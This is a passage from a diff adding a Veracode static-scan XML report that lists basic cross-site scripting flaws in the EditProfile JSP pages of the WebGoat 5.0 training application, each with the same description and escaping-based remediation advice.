+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
